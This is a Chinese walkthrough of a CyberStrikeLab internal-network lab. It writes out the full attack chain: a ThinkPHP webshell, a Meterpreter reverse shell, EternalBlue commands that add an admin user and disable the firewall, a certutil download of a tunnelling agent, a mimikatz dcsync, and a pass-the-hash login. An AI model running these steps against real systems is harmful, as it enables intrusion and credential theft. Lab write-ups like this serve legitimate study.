CyberStrikeLab-lab1-WP
lab1
场景介绍:
难度:简单
本次小李的任务是攻克192.168.10.0/24网段的所有主机,刚开始挺顺利,但深入后发现里面的情况远比想象的复杂。
信息收集
1、fscan扫C段,发现10网段有两台存活主机,且10主机存在thinkphp漏洞

第一台机器(192.168.10.10)
thinkphp工具一把梭

写马进行getshell

蚁剑连接

根目录下找到flag1

ipconfig查看该机器还有张20的网卡

先上线msf
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.233.2 LPORT=9999 -f exe -o "E:\hacktools\1.exe"

msf配置监听器
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.16.233.2 #注意这里的ip得填openvpn的,不然通讯不了
set lport 9999
run

自动配置路由
run post/multi/manage/autoroute
#post/multi/manage/autoroute 是一个 Post-Exploitation 模块,用于在已经获取 Meterpreter 会话的目标机器上 自动配置路由,使你可以通过该主机访问其所在内网的其他机器

通过msf上传fscan
upload "E:/hacktools/fscan.exe" C:\\

通过msf返回一个shell交互给我
shell

whoami查看我的权限

第二台机器(192.168.20.30)
fscan扫20网段,发现20网段还有20和30两台机子,10那台是我的

并且扫出20和30那台机子都有MS17-010永恒之蓝漏洞

先background退出会话,把session挂在后台

用msf搜索永恒之蓝的exp
search ms17_010

先打30那台机子,因为20网段是内网,无法直接通信。我们需要到跳板机上设置socket节点
msf开启socks服务
通过代理可以直接访问192.168.20.30
use auxiliary/server/socks_proxy

show options看下要设置哪些参数

show sessions 查看要建立socks节点的跳板机的session



run运行

查看socks代理开启了没

尝试了几个exp,发现只有 auxiliary/admin/smb/ms17_010_command 模块可以使用

show options查看改exp需要设置那些参数

设置目标ip

借助msf17-010命令执行,进行添加用户、添加管理组、关闭防火墙、打开远程登陆
set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #修改注册表,强制启用远程桌面服务(RDP),允许通过远程桌面(3389端口)连接
set COMMAND 'net user dfz 123@abc /add' #创建一个名为 dfz 的新用户,密码设置为 123@abc
set COMMAND 'net localgroup Administrators dfz /add' #将用户 dfz 添加到本地管理员组(Administrators),获得系统最高权限
set COMMAND 'netsh firewall set opmode disable' #完全禁用Windows防火墙(
把这四条命令分批次执行,一条一条的设置成exp的参数
设置一条,run一条




像上面执行命令后回显都是乱码,我们可以加一个chcp 6500改成UTF-8编码输出

远程桌面连接30的机子

昏头了,就算我开启了30机器的远程桌面登录,我也连接不了(人家在内网啊)
可以换个思路,用stowaway来搭建隧道(stowaway既可以搭建代理隧道,又内置了shell等功能,最爱啦)
先通过webshell往跳板机(10那台机器)传个stowaway的agent客户端
先查看靶机的架构是
echo %PROCESSOR_ARCHITECTURE%

是x86的架构,所有传windows_x86_agent.exe 。然后我的admin端放在本机openvpn的172网卡上
注意:为什么是传到web目录下呢,因为上线成功10那台机器后,我需要让30那台机器通过永恒之蓝漏洞执行命令,从10那台主机上把windows_x86_agent.exe 下下来执行,让30主机也被控

admin端
.\windows_x64_admin.exe -l 172.16.233.2:8000 -s 123 #ip填openvpn的,不然通讯不了,监听8000端口,设置连接密码为123

agent端(10机器)
windows_x86_agent.exe -c 172.16.233.2:8000 -s 123 --reconnect 8 #当控制端掉线时客户端每隔8s重连控制端

连接成功,(stowaway只要连接成功,shell也就拿到了,不过我这里忘记截图flag了)

此时只是stowaway连接成功,并没有搭建隧道,如果你想搭建隧道可以用socks代理(这里我没用)
stowaway建立socks代理教程:

使用proxifier连接控制端

不过我没搭
第三台机器(192.168.20.20)
通过msf打永恒之蓝那个漏洞让30那台机子下载10机子上的stowaway的agent端
30那台机子是有certutil.exe的,可以下载


set COMMAND 'certutil.exe -urlcache -split -f http://192.168.20.10/windows_x86_agent.exe'
run
#让30机子从10机子上下windows_x86_agent.exe

admin端
使用刚刚上线的use 0,listem 10000端口
use 0
listen
10000

用永恒之蓝漏洞让30机器执行stowaway的客户端
set COMMAND "chcp 65001 > nul && windows_x86_agent -c 192.168.20.10:10000 -s 123 --reconnect 8"
run

连接成功,拿到30机子了,

获取shell,查flag

信息收集查看域控
nul && net group "Domain Controllers" /domain
发现自己这台机器就是域控

用stowaway穿minikatz获取hash进行横向移动

shell #进入shell交互
minikatz.exe #启动minikatz
privilege::debug
sekurlsa::logonpasswords #从内存中提取当前登录用户的认证凭据

这是当前用户的哈希,只是个普通用户,权限太低,不能横向

lsadump::dcsync /domain:cyberstrikelab.com /all #提取整个域的所有账户哈希

找到Administrator的hash

用psexec脚本,使用域管理员的hash来获得192.168.20.20的会话
python psexec.py -hashes :94bd5248e87cb7f2f9b871d40c903927 cyberstrikelab.com/administrator@192.168.20.20



浙公网安备 33010602011771号